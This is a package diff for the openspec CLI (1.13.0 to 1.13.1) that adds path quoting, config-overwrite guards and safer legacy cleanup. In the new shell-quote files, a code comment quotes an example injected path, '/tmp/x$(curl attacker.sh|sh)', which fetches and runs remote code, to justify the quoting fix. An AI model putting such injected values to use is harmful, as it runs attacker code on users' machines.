@fission-ai/openspec 1.13.0 → 1.13.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/commands/change.js +12 -1
- package/dist/commands/config.d.ts +9 -0
- package/dist/commands/config.js +161 -22
- package/dist/commands/feedback.js +6 -4
- package/dist/commands/schema.js +30 -9
- package/dist/commands/store.js +5 -2
- package/dist/commands/validate.d.ts +7 -0
- package/dist/commands/validate.js +63 -1
- package/dist/commands/workflow/instructions.js +33 -14
- package/dist/commands/workflow/new-change.js +20 -0
- package/dist/commands/workflow/shared.js +8 -0
- package/dist/commands/workflow/status.d.ts +5 -1
- package/dist/commands/workflow/status.js +42 -5
- package/dist/core/archive.js +17 -1
- package/dist/core/artifact-graph/schema.d.ts +14 -0
- package/dist/core/artifact-graph/schema.js +52 -0
- package/dist/core/artifact-graph/types.js +12 -1
- package/dist/core/change-status-policy.d.ts +14 -0
- package/dist/core/change-status-policy.js +14 -6
- package/dist/core/command-generation/generator.js +2 -0
- package/dist/core/completion-tip.js +7 -7
- package/dist/core/completions/installers/bash-installer.js +15 -7
- package/dist/core/completions/installers/shell-quote.d.ts +11 -0
- package/dist/core/completions/installers/shell-quote.js +13 -0
- package/dist/core/completions/installers/zsh-installer.js +3 -2
- package/dist/core/config-schema.d.ts +1 -1
- package/dist/core/config.d.ts +16 -0
- package/dist/core/config.js +27 -1
- package/dist/core/global-config.d.ts +30 -2
- package/dist/core/global-config.js +57 -3
- package/dist/core/init.js +13 -3
- package/dist/core/legacy-cleanup.d.ts +4 -0
- package/dist/core/legacy-cleanup.js +180 -12
- package/dist/core/list.js +55 -11
- package/dist/core/migration.js +6 -1
- package/dist/core/parsers/change-parser.d.ts +12 -1
- package/dist/core/parsers/change-parser.js +85 -87
- package/dist/core/parsers/markdown-parser.js +4 -3
- package/dist/core/parsers/requirement-blocks.d.ts +44 -3
- package/dist/core/parsers/requirement-blocks.js +90 -15
- package/dist/core/parsers/requirement-text.d.ts +13 -2
- package/dist/core/parsers/requirement-text.js +34 -7
- package/dist/core/parsers/spec-structure.js +4 -1
- package/dist/core/project-config.d.ts +9 -1
- package/dist/core/project-config.js +11 -2
- package/dist/core/references.d.ts +20 -0
- package/dist/core/references.js +56 -0
- package/dist/core/shared/skill-content-equivalence.js +5 -1
- package/dist/core/shared/skill-generation.js +36 -8
- package/dist/core/shared/tool-detection.js +9 -3
- package/dist/core/specs-apply.js +82 -11
- package/dist/core/store/git.d.ts +33 -0
- package/dist/core/store/git.js +60 -6
- package/dist/core/store/operations.d.ts +1 -1
- package/dist/core/store/operations.js +32 -10
- package/dist/core/store/registry.d.ts +2 -1
- package/dist/core/store/registry.js +5 -1
- package/dist/core/templates/optional-workflow.d.ts +69 -0
- package/dist/core/templates/optional-workflow.js +140 -0
- package/dist/core/templates/workflows/apply-change.js +18 -3
- package/dist/core/templates/workflows/archive-change.js +50 -15
- package/dist/core/templates/workflows/bulk-archive-change.js +63 -13
- package/dist/core/templates/workflows/continue-change.js +14 -2
- package/dist/core/templates/workflows/explore.js +32 -14
- package/dist/core/templates/workflows/ff-change.js +19 -3
- package/dist/core/templates/workflows/new-change.js +15 -3
- package/dist/core/templates/workflows/onboard.js +67 -37
- package/dist/core/templates/workflows/project-root.d.ts +29 -0
- package/dist/core/templates/workflows/project-root.js +38 -0
- package/dist/core/templates/workflows/propose.js +22 -5
- package/dist/core/templates/workflows/sync-specs.js +40 -1
- package/dist/core/templates/workflows/update-change.js +52 -25
- package/dist/core/templates/workflows/verify-change.js +12 -3
- package/dist/core/update.d.ts +12 -0
- package/dist/core/update.js +58 -3
- package/dist/core/validation/task-checkboxes.d.ts +34 -0
- package/dist/core/validation/task-checkboxes.js +181 -0
- package/dist/core/validation/validator.d.ts +53 -1
- package/dist/core/validation/validator.js +154 -40
- package/dist/core/version-check.d.ts +14 -7
- package/dist/core/version-check.js +63 -17
- package/dist/core/worksets.js +6 -4
- package/dist/prompts/searchable-multi-select.d.ts +7 -0
- package/dist/prompts/searchable-multi-select.js +35 -6
- package/dist/telemetry/config.js +14 -2
- package/dist/telemetry/index.d.ts +4 -3
- package/dist/telemetry/index.js +22 -10
- package/dist/telemetry/opt-out.d.ts +17 -0
- package/dist/telemetry/opt-out.js +27 -0
- package/dist/utils/nested-change.d.ts +35 -0
- package/dist/utils/nested-change.js +186 -0
- package/dist/utils/spec-discovery.d.ts +20 -0
- package/dist/utils/spec-discovery.js +59 -0
- package/dist/utils/task-progress.d.ts +1 -1
- package/dist/utils/task-progress.js +38 -6
- package/package.json +4 -4
- package/schemas/spec-driven/schema.yaml +10 -3
- package/schemas/spec-driven/templates/design.md +2 -0
- package/schemas/spec-driven/templates/proposal.md +2 -0
- package/schemas/spec-driven/templates/spec.md +2 -0
- package/schemas/spec-driven/templates/tasks.md +2 -0
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Quote a path as a POSIX shell single-quoted literal.
|
|
3
|
+
*
|
|
4
|
+
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
|
5
|
+
* escaped. Interpolated into a double-quoted rc line, a value like
|
|
6
|
+
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
|
7
|
+
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
|
8
|
+
* the quote around any literal apostrophe.
|
|
9
|
+
*/
|
|
10
|
+
export declare function shellSingleQuote(value: string): string;
|
|
11
|
+
//# sourceMappingURL=shell-quote.d.ts.map
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Quote a path as a POSIX shell single-quoted literal.
|
|
3
|
+
*
|
|
4
|
+
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
|
5
|
+
* escaped. Interpolated into a double-quoted rc line, a value like
|
|
6
|
+
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
|
7
|
+
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
|
8
|
+
* the quote around any literal apostrophe.
|
|
9
|
+
*/
|
|
10
|
+
export function shellSingleQuote(value) {
|
|
11
|
+
return `'${value.replace(/'/g, `'\\''`)}'`;
|
|
12
|
+
}
|
|
13
|
+
//# sourceMappingURL=shell-quote.js.map
|
|
@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
|
|
|
2
2
|
import path from 'path';
|
|
3
3
|
import os from 'os';
|
|
4
4
|
import { FileSystemUtils } from '../../../utils/file-system.js';
|
|
5
|
+
import { shellSingleQuote } from './shell-quote.js';
|
|
5
6
|
/**
|
|
6
7
|
* Installer for Zsh completion scripts.
|
|
7
8
|
* Supports both Oh My Zsh and standard Zsh configurations.
|
|
@@ -109,7 +110,7 @@ export class ZshInstaller {
|
|
|
109
110
|
generateZshrcConfig(completionsDir) {
|
|
110
111
|
return [
|
|
111
112
|
'# OpenSpec shell completions configuration',
|
|
112
|
-
`fpath=(
|
|
113
|
+
`fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
|
113
114
|
'autoload -Uz compinit',
|
|
114
115
|
'compinit',
|
|
115
116
|
].join('\n');
|
|
@@ -340,7 +341,7 @@ export class ZshInstaller {
|
|
|
340
341
|
'To enable completions, add the following to your ~/.zshrc file:',
|
|
341
342
|
'',
|
|
342
343
|
` # Add completions directory to fpath`,
|
|
343
|
-
` fpath=(${completionsDir} $fpath)`,
|
|
344
|
+
` fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
|
344
345
|
'',
|
|
345
346
|
' # Initialize completion system',
|
|
346
347
|
' autoload -Uz compinit',
|
|
@@ -6,8 +6,8 @@ import { z } from 'zod';
|
|
|
6
6
|
export declare const GlobalConfigSchema: z.ZodObject<{
|
|
7
7
|
featureFlags: z.ZodDefault<z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodBoolean>>>;
|
|
8
8
|
profile: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
|
|
9
|
-
core: "core";
|
|
10
9
|
custom: "custom";
|
|
10
|
+
core: "core";
|
|
11
11
|
}>>>;
|
|
12
12
|
delivery: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
|
|
13
13
|
commands: "commands";
|
package/dist/core/config.d.ts
CHANGED
|
@@ -16,10 +16,26 @@ export interface AIToolOption {
|
|
|
16
16
|
legacySkillsDirs?: string[];
|
|
17
17
|
globalSkillsDir?: string;
|
|
18
18
|
detectionPaths?: string[];
|
|
19
|
+
searchAliases?: string[];
|
|
19
20
|
setupNote?: string;
|
|
20
21
|
requiresIdeRestart?: boolean;
|
|
21
22
|
}
|
|
22
23
|
export declare const AI_TOOLS: AIToolOption[];
|
|
24
|
+
/**
|
|
25
|
+
* The vendor-neutral target every assistant that is not listed above can use.
|
|
26
|
+
* Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
|
|
27
|
+
* a dead end (#653).
|
|
28
|
+
*/
|
|
29
|
+
export declare const UNIVERSAL_TOOL_ID = "agents";
|
|
30
|
+
/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
|
|
31
|
+
export declare function getUniversalTool(): AIToolOption | undefined;
|
|
32
|
+
/**
|
|
33
|
+
* One-line pointer at the universal target for non-interactive errors, the
|
|
34
|
+
* scripted counterpart of the picker's empty-search hint. Undefined when the
|
|
35
|
+
* target is not among the tools on offer, so the hint never names a choice the
|
|
36
|
+
* caller cannot make.
|
|
37
|
+
*/
|
|
38
|
+
export declare function universalToolFallbackHint(offeredToolIds: string[]): string | undefined;
|
|
23
39
|
/**
|
|
24
40
|
* Retired tool ids that still resolve, so a rebrand does not break scripted
|
|
25
41
|
* `--tools` invocations. Windsurf was rebranded to Devin Desktop on
|
package/dist/core/config.js
CHANGED
|
@@ -68,8 +68,34 @@ export const AI_TOOLS = [
|
|
|
68
68
|
// A project that does keep skills there is a project this target fits, the same
|
|
69
69
|
// way `.claude/` selects Claude Code — the signal is the user's setup, not
|
|
70
70
|
// OpenSpec's own files.
|
|
71
|
-
|
|
71
|
+
// The picker is searchable, so this entry also answers to the words someone
|
|
72
|
+
// whose assistant is not on the list actually types (#653) — it is named for
|
|
73
|
+
// a directory, which none of them would guess. Aliases are single words: the
|
|
74
|
+
// space bar toggles a selection rather than typing into the search box.
|
|
75
|
+
{ name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
|
|
72
76
|
];
|
|
77
|
+
/**
|
|
78
|
+
* The vendor-neutral target every assistant that is not listed above can use.
|
|
79
|
+
* Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
|
|
80
|
+
* a dead end (#653).
|
|
81
|
+
*/
|
|
82
|
+
export const UNIVERSAL_TOOL_ID = 'agents';
|
|
83
|
+
/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
|
|
84
|
+
export function getUniversalTool() {
|
|
85
|
+
return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
|
|
86
|
+
}
|
|
87
|
+
/**
|
|
88
|
+
* One-line pointer at the universal target for non-interactive errors, the
|
|
89
|
+
* scripted counterpart of the picker's empty-search hint. Undefined when the
|
|
90
|
+
* target is not among the tools on offer, so the hint never names a choice the
|
|
91
|
+
* caller cannot make.
|
|
92
|
+
*/
|
|
93
|
+
export function universalToolFallbackHint(offeredToolIds) {
|
|
94
|
+
const universal = getUniversalTool();
|
|
95
|
+
if (!universal || !offeredToolIds.includes(universal.value))
|
|
96
|
+
return undefined;
|
|
97
|
+
return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
|
|
98
|
+
}
|
|
73
99
|
/**
|
|
74
100
|
* Retired tool ids that still resolve, so a rebrand does not break scripted
|
|
75
101
|
* `--tools` invocations. Windsurf was rebranded to Devin Desktop on
|
|
@@ -61,9 +61,37 @@ export declare function getGlobalConfigPath(): string;
|
|
|
61
61
|
* Merges loaded config with defaults to ensure new fields are available.
|
|
62
62
|
*/
|
|
63
63
|
export declare function getGlobalConfig(): GlobalConfig;
|
|
64
|
+
/**
|
|
65
|
+
* Whether a parsed JSON root can serve as a global config object.
|
|
66
|
+
*
|
|
67
|
+
* Valid JSON that is not a plain object (`null`, an array, a string, a number,
|
|
68
|
+
* a boolean) still reads as defaults, so it is just as unsafe to save over as
|
|
69
|
+
* a file that did not parse at all. Every reader and writer of the global
|
|
70
|
+
* config shares this one predicate so they cannot drift apart.
|
|
71
|
+
*/
|
|
72
|
+
export declare function isConfigRootObject(parsed: unknown): boolean;
|
|
73
|
+
/**
|
|
74
|
+
* The one-line, actionable refusal every global-config writer reports when it
|
|
75
|
+
* declines to overwrite a file it could not read.
|
|
76
|
+
*/
|
|
77
|
+
export declare function unreadableGlobalConfigMessage(configPath: string): string;
|
|
78
|
+
/**
|
|
79
|
+
* Whether the global config file exists but cannot be read or parsed.
|
|
80
|
+
*
|
|
81
|
+
* getGlobalConfig() answers with defaults for such a file so that reads keep
|
|
82
|
+
* working, but those defaults are not the user's settings: saving them back
|
|
83
|
+
* would erase everything the file holds, and the file may contain an opt-out
|
|
84
|
+
* such as `telemetry.enabled: false` that the defaults do not.
|
|
85
|
+
*/
|
|
86
|
+
export declare function isGlobalConfigUnreadable(): boolean;
|
|
87
|
+
export interface SaveGlobalConfigOptions {
|
|
88
|
+
/** Overwrite a config file that cannot be parsed. Only a reset should. */
|
|
89
|
+
replaceUnreadable?: boolean;
|
|
90
|
+
}
|
|
64
91
|
/**
|
|
65
92
|
* Saves the global configuration to disk.
|
|
66
|
-
* Creates the config directory if it doesn't exist.
|
|
93
|
+
* Creates the config directory if it doesn't exist. Refuses to overwrite an
|
|
94
|
+
* existing file it cannot parse unless `replaceUnreadable` is set.
|
|
67
95
|
*/
|
|
68
|
-
export declare function saveGlobalConfig(config: GlobalConfig): void;
|
|
96
|
+
export declare function saveGlobalConfig(config: GlobalConfig, options?: SaveGlobalConfigOptions): void;
|
|
69
97
|
//# sourceMappingURL=global-config.d.ts.map
|
|
@@ -68,6 +68,9 @@ export function getGlobalDataDir(options = {}) {
|
|
|
68
68
|
export function getGlobalConfigPath() {
|
|
69
69
|
return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
|
|
70
70
|
}
|
|
71
|
+
// Config paths already warned about. One command reads the config several
|
|
72
|
+
// times (telemetry, the update check, the command itself); warn once.
|
|
73
|
+
const warnedInvalidJsonPaths = new Set();
|
|
71
74
|
/**
|
|
72
75
|
* Loads the global configuration from disk.
|
|
73
76
|
* Returns default configuration if file doesn't exist or is invalid.
|
|
@@ -81,6 +84,13 @@ export function getGlobalConfig() {
|
|
|
81
84
|
}
|
|
82
85
|
const content = fs.readFileSync(configPath, 'utf-8');
|
|
83
86
|
const parsed = JSON.parse(content);
|
|
87
|
+
// A root that is not a plain object carries no settings, and spreading it
|
|
88
|
+
// would leak its shape into the result: a string contributes numeric
|
|
89
|
+
// character keys. Answer with plain defaults, as for a file that did not
|
|
90
|
+
// parse at all. Same predicate the writers refuse to save over.
|
|
91
|
+
if (!isConfigRootObject(parsed)) {
|
|
92
|
+
return { ...DEFAULT_CONFIG };
|
|
93
|
+
}
|
|
84
94
|
// Merge with defaults (loaded values take precedence)
|
|
85
95
|
const merged = {
|
|
86
96
|
...DEFAULT_CONFIG,
|
|
@@ -102,19 +112,63 @@ export function getGlobalConfig() {
|
|
|
102
112
|
}
|
|
103
113
|
catch (error) {
|
|
104
114
|
// Log warning for parse errors, but not for missing files
|
|
105
|
-
if (error instanceof SyntaxError) {
|
|
115
|
+
if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
|
|
116
|
+
warnedInvalidJsonPaths.add(configPath);
|
|
106
117
|
console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
|
|
107
118
|
}
|
|
108
119
|
return { ...DEFAULT_CONFIG };
|
|
109
120
|
}
|
|
110
121
|
}
|
|
122
|
+
/**
|
|
123
|
+
* Whether a parsed JSON root can serve as a global config object.
|
|
124
|
+
*
|
|
125
|
+
* Valid JSON that is not a plain object (`null`, an array, a string, a number,
|
|
126
|
+
* a boolean) still reads as defaults, so it is just as unsafe to save over as
|
|
127
|
+
* a file that did not parse at all. Every reader and writer of the global
|
|
128
|
+
* config shares this one predicate so they cannot drift apart.
|
|
129
|
+
*/
|
|
130
|
+
export function isConfigRootObject(parsed) {
|
|
131
|
+
return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
|
|
132
|
+
}
|
|
133
|
+
/**
|
|
134
|
+
* The one-line, actionable refusal every global-config writer reports when it
|
|
135
|
+
* declines to overwrite a file it could not read.
|
|
136
|
+
*/
|
|
137
|
+
export function unreadableGlobalConfigMessage(configPath) {
|
|
138
|
+
return (`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
|
|
139
|
+
'Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
|
|
140
|
+
}
|
|
141
|
+
/**
|
|
142
|
+
* Whether the global config file exists but cannot be read or parsed.
|
|
143
|
+
*
|
|
144
|
+
* getGlobalConfig() answers with defaults for such a file so that reads keep
|
|
145
|
+
* working, but those defaults are not the user's settings: saving them back
|
|
146
|
+
* would erase everything the file holds, and the file may contain an opt-out
|
|
147
|
+
* such as `telemetry.enabled: false` that the defaults do not.
|
|
148
|
+
*/
|
|
149
|
+
export function isGlobalConfigUnreadable() {
|
|
150
|
+
const configPath = getGlobalConfigPath();
|
|
151
|
+
if (!fs.existsSync(configPath)) {
|
|
152
|
+
return false;
|
|
153
|
+
}
|
|
154
|
+
try {
|
|
155
|
+
return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
|
|
156
|
+
}
|
|
157
|
+
catch {
|
|
158
|
+
return true;
|
|
159
|
+
}
|
|
160
|
+
}
|
|
111
161
|
/**
|
|
112
162
|
* Saves the global configuration to disk.
|
|
113
|
-
* Creates the config directory if it doesn't exist.
|
|
163
|
+
* Creates the config directory if it doesn't exist. Refuses to overwrite an
|
|
164
|
+
* existing file it cannot parse unless `replaceUnreadable` is set.
|
|
114
165
|
*/
|
|
115
|
-
export function saveGlobalConfig(config) {
|
|
166
|
+
export function saveGlobalConfig(config, options = {}) {
|
|
116
167
|
const configDir = getGlobalConfigDir();
|
|
117
168
|
const configPath = getGlobalConfigPath();
|
|
169
|
+
if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
|
|
170
|
+
throw new Error(unreadableGlobalConfigMessage(configPath));
|
|
171
|
+
}
|
|
118
172
|
// Create directory if it doesn't exist
|
|
119
173
|
if (!fs.existsSync(configDir)) {
|
|
120
174
|
fs.mkdirSync(configDir, { recursive: true });
|
package/dist/core/init.js
CHANGED
|
@@ -14,7 +14,7 @@ import { classifyOpenSpecDir, MAX_CONTEXT_SIZE, readProjectConfig, storePointerP
|
|
|
14
14
|
import { findRepoPlanningRootSync } from './planning-home.js';
|
|
15
15
|
import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.js';
|
|
16
16
|
import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
|
|
17
|
-
import { AI_TOOLS, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
|
|
17
|
+
import { AI_TOOLS, getUniversalTool, universalToolFallbackHint, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
|
|
18
18
|
import { PALETTE } from './styles/palette.js';
|
|
19
19
|
import { isInteractive } from '../utils/interactive.js';
|
|
20
20
|
import { serializeConfig } from './config-prompts.js';
|
|
@@ -423,7 +423,8 @@ export class InitCommand {
|
|
|
423
423
|
if (detectedToolIds.size > 0) {
|
|
424
424
|
return [...detectedToolIds];
|
|
425
425
|
}
|
|
426
|
-
|
|
426
|
+
const fallbackHint = universalToolFallbackHint(validTools);
|
|
427
|
+
throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n ${validTools.join('\n ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`);
|
|
427
428
|
}
|
|
428
429
|
if (validTools.length === 0) {
|
|
429
430
|
throw new Error(`No tools available for skill generation.`);
|
|
@@ -440,6 +441,7 @@ export class InitCommand {
|
|
|
440
441
|
return {
|
|
441
442
|
name: tool?.name || toolId,
|
|
442
443
|
value: toolId,
|
|
444
|
+
searchAliases: tool?.searchAliases,
|
|
443
445
|
configured,
|
|
444
446
|
detected: detected && !configured,
|
|
445
447
|
preSelected: configured || (shouldPreselectDetected && detected && !configured),
|
|
@@ -472,10 +474,17 @@ export class InitCommand {
|
|
|
472
474
|
: 'not pre-selected';
|
|
473
475
|
console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
|
|
474
476
|
}
|
|
477
|
+
// A search that matches nothing is where someone whose assistant is not on
|
|
478
|
+
// the list gives up (#653), so name the vendor-neutral entry right there.
|
|
479
|
+
const universalTool = getUniversalTool();
|
|
480
|
+
const universalHint = universalTool && validTools.includes(universalTool.value)
|
|
481
|
+
? `Tool not listed? Clear the search and pick "${universalTool.name}".`
|
|
482
|
+
: undefined;
|
|
475
483
|
const selectedTools = await searchableMultiSelect({
|
|
476
484
|
message: `Select tools to set up (${validTools.length} available)`,
|
|
477
485
|
pageSize: 15,
|
|
478
486
|
choices: sortedChoices,
|
|
487
|
+
emptyHint: universalHint,
|
|
479
488
|
validate: (selected) => selected.length > 0 || 'Select at least one tool',
|
|
480
489
|
});
|
|
481
490
|
if (selectedTools.length === 0) {
|
|
@@ -516,7 +525,8 @@ export class InitCommand {
|
|
|
516
525
|
}
|
|
517
526
|
const invalidTokens = tokens.filter((_token, index) => !availableSet.has(normalizedTokens[index]));
|
|
518
527
|
if (invalidTokens.length > 0) {
|
|
519
|
-
|
|
528
|
+
const fallbackHint = universalToolFallbackHint([...availableSet]);
|
|
529
|
+
throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`);
|
|
520
530
|
}
|
|
521
531
|
// Deduplicate while preserving order
|
|
522
532
|
const deduped = [];
|
|
@@ -25,6 +25,8 @@ export declare const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlo
|
|
|
25
25
|
export interface LegacySlashCommandPattern {
|
|
26
26
|
type: 'directory' | 'files';
|
|
27
27
|
path?: string;
|
|
28
|
+
/** For directory type: the only files in `path` that OpenSpec wrote. */
|
|
29
|
+
managedFileNames?: readonly string[];
|
|
28
30
|
pattern?: string | string[];
|
|
29
31
|
}
|
|
30
32
|
/**
|
|
@@ -149,6 +151,8 @@ export interface CleanupResult {
|
|
|
149
151
|
modifiedFiles: string[];
|
|
150
152
|
/** Directories that were deleted */
|
|
151
153
|
deletedDirs: string[];
|
|
154
|
+
/** Entries left in a legacy command directory because OpenSpec did not write them */
|
|
155
|
+
keptFiles?: string[];
|
|
152
156
|
/** Whether project.md exists and needs manual migration */
|
|
153
157
|
projectMdNeedsMigration: boolean;
|
|
154
158
|
/** Error messages if any operations failed */
|
|
@@ -22,19 +22,26 @@ export const LEGACY_CONFIG_FILES = [
|
|
|
22
22
|
'AGENTS.md', // root AGENTS.md (not openspec/AGENTS.md)
|
|
23
23
|
'QWEN.md',
|
|
24
24
|
];
|
|
25
|
+
/** The three commands the old SlashCommandRegistry wrote into each directory. */
|
|
26
|
+
const LEGACY_DIRECTORY_COMMAND_FILES = ['proposal.md', 'apply.md', 'archive.md'];
|
|
25
27
|
/**
|
|
26
28
|
* Legacy slash command patterns from the old SlashCommandRegistry.
|
|
27
29
|
* These map toolId to the path pattern where legacy commands were created.
|
|
28
30
|
* Some tools used a directory structure, others used individual files.
|
|
29
31
|
*/
|
|
30
32
|
export const LEGACY_SLASH_COMMAND_PATHS = {
|
|
31
|
-
// Directory-based: .tooldir/commands/openspec
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
'
|
|
35
|
-
'
|
|
36
|
-
'
|
|
37
|
-
|
|
33
|
+
// Directory-based: .tooldir/commands/openspec/. Each entry names the files
|
|
34
|
+
// OpenSpec wrote there, because users keep their own commands in the same
|
|
35
|
+
// folder: only those files are deleted, and the folder only once it is empty.
|
|
36
|
+
'claude': { type: 'directory', path: '.claude/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
|
37
|
+
'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
|
38
|
+
'qoder': { type: 'directory', path: '.qoder/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
|
39
|
+
// Lingma support arrived after the opsx rename and has always written to
|
|
40
|
+
// `.lingma/commands/opsx/`, so OpenSpec never put a file here: only an empty
|
|
41
|
+
// leftover folder is removed.
|
|
42
|
+
'lingma': { type: 'directory', path: '.lingma/commands/openspec', managedFileNames: [] },
|
|
43
|
+
'crush': { type: 'directory', path: '.crush/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
|
44
|
+
'gemini': { type: 'directory', path: '.gemini/commands/openspec', managedFileNames: ['proposal.toml', 'apply.toml', 'archive.toml'] },
|
|
38
45
|
// File-based: individual openspec-*.md files in a commands/workflows/prompts folder
|
|
39
46
|
'cursor': { type: 'files', pattern: '.cursor/commands/openspec-*.md' },
|
|
40
47
|
// Keyed by the tool id these map back to, so the pre-opsx Windsurf files
|
|
@@ -221,9 +228,22 @@ export async function detectLegacySlashCommands(projectPath) {
|
|
|
221
228
|
for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
|
|
222
229
|
if (pattern.type === 'directory' && pattern.path) {
|
|
223
230
|
const dirPath = FileSystemUtils.joinPath(projectPath, pattern.path);
|
|
224
|
-
if (await FileSystemUtils.directoryExists(dirPath)) {
|
|
231
|
+
if (!(await FileSystemUtils.directoryExists(dirPath))) {
|
|
232
|
+
continue;
|
|
233
|
+
}
|
|
234
|
+
const entries = await readLegacyCommandDir(dirPath, pattern.managedFileNames ?? []);
|
|
235
|
+
if (!entries) {
|
|
236
|
+
continue;
|
|
237
|
+
}
|
|
238
|
+
if (entries.others.length === 0) {
|
|
239
|
+
// Only OpenSpec's own files, or nothing: the whole folder can go.
|
|
225
240
|
directories.push(pattern.path);
|
|
226
241
|
}
|
|
242
|
+
else {
|
|
243
|
+
// The folder also holds the user's files, so report OpenSpec's files
|
|
244
|
+
// one by one; cleanup deletes those and leaves the folder in place.
|
|
245
|
+
files.push(...entries.managed.map((name) => `${pattern.path}/${name}`));
|
|
246
|
+
}
|
|
227
247
|
}
|
|
228
248
|
else if (pattern.type === 'files' && pattern.pattern) {
|
|
229
249
|
const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern];
|
|
@@ -235,6 +255,92 @@ export async function detectLegacySlashCommands(projectPath) {
|
|
|
235
255
|
}
|
|
236
256
|
return { directories, files };
|
|
237
257
|
}
|
|
258
|
+
/**
|
|
259
|
+
* Splits a legacy command directory's entries into the files OpenSpec wrote
|
|
260
|
+
* there and everything else, sorted. A file counts as OpenSpec's only when it
|
|
261
|
+
* is a regular file with a managed name whose content still carries the
|
|
262
|
+
* OpenSpec markers every legacy command was written with; a folder, a link, or
|
|
263
|
+
* a same-named file the user wrote is the user's. Subdirectories are listed
|
|
264
|
+
* with a trailing '/'. Returns undefined when the directory cannot be read or
|
|
265
|
+
* is itself a symlink, which is never followed.
|
|
266
|
+
*/
|
|
267
|
+
async function readLegacyCommandDir(dirPath, managedFileNames) {
|
|
268
|
+
let entries;
|
|
269
|
+
try {
|
|
270
|
+
if ((await fs.lstat(dirPath)).isSymbolicLink()) {
|
|
271
|
+
return undefined;
|
|
272
|
+
}
|
|
273
|
+
entries = await fs.readdir(dirPath, { withFileTypes: true });
|
|
274
|
+
}
|
|
275
|
+
catch {
|
|
276
|
+
return undefined;
|
|
277
|
+
}
|
|
278
|
+
const managed = [];
|
|
279
|
+
const others = [];
|
|
280
|
+
for (const entry of entries) {
|
|
281
|
+
if (entry.isFile() &&
|
|
282
|
+
managedFileNames.includes(entry.name) &&
|
|
283
|
+
(await isGeneratedLegacyCommand(path.join(dirPath, entry.name)))) {
|
|
284
|
+
managed.push(entry.name);
|
|
285
|
+
}
|
|
286
|
+
else {
|
|
287
|
+
others.push(entry.isDirectory() ? `${entry.name}/` : entry.name);
|
|
288
|
+
}
|
|
289
|
+
}
|
|
290
|
+
return { managed: managed.sort(), others: others.sort() };
|
|
291
|
+
}
|
|
292
|
+
/**
|
|
293
|
+
* The legacy command directory, and its tool, that a repo-local path is one of
|
|
294
|
+
* OpenSpec's own files in.
|
|
295
|
+
*/
|
|
296
|
+
function legacyCommandDirForFile(file) {
|
|
297
|
+
const normalizedFile = normalizePathForMatch(file);
|
|
298
|
+
for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
|
|
299
|
+
if (pattern.type !== 'directory' || !pattern.path)
|
|
300
|
+
continue;
|
|
301
|
+
const dir = pattern.path;
|
|
302
|
+
if (pattern.managedFileNames?.some((name) => normalizedFile === `${dir}/${name}`)) {
|
|
303
|
+
return { toolId, dir };
|
|
304
|
+
}
|
|
305
|
+
}
|
|
306
|
+
return undefined;
|
|
307
|
+
}
|
|
308
|
+
/**
|
|
309
|
+
* Removes a legacy command directory once OpenSpec's files are gone from it,
|
|
310
|
+
* or records what is left in it as kept. Never recursive: whatever remains was
|
|
311
|
+
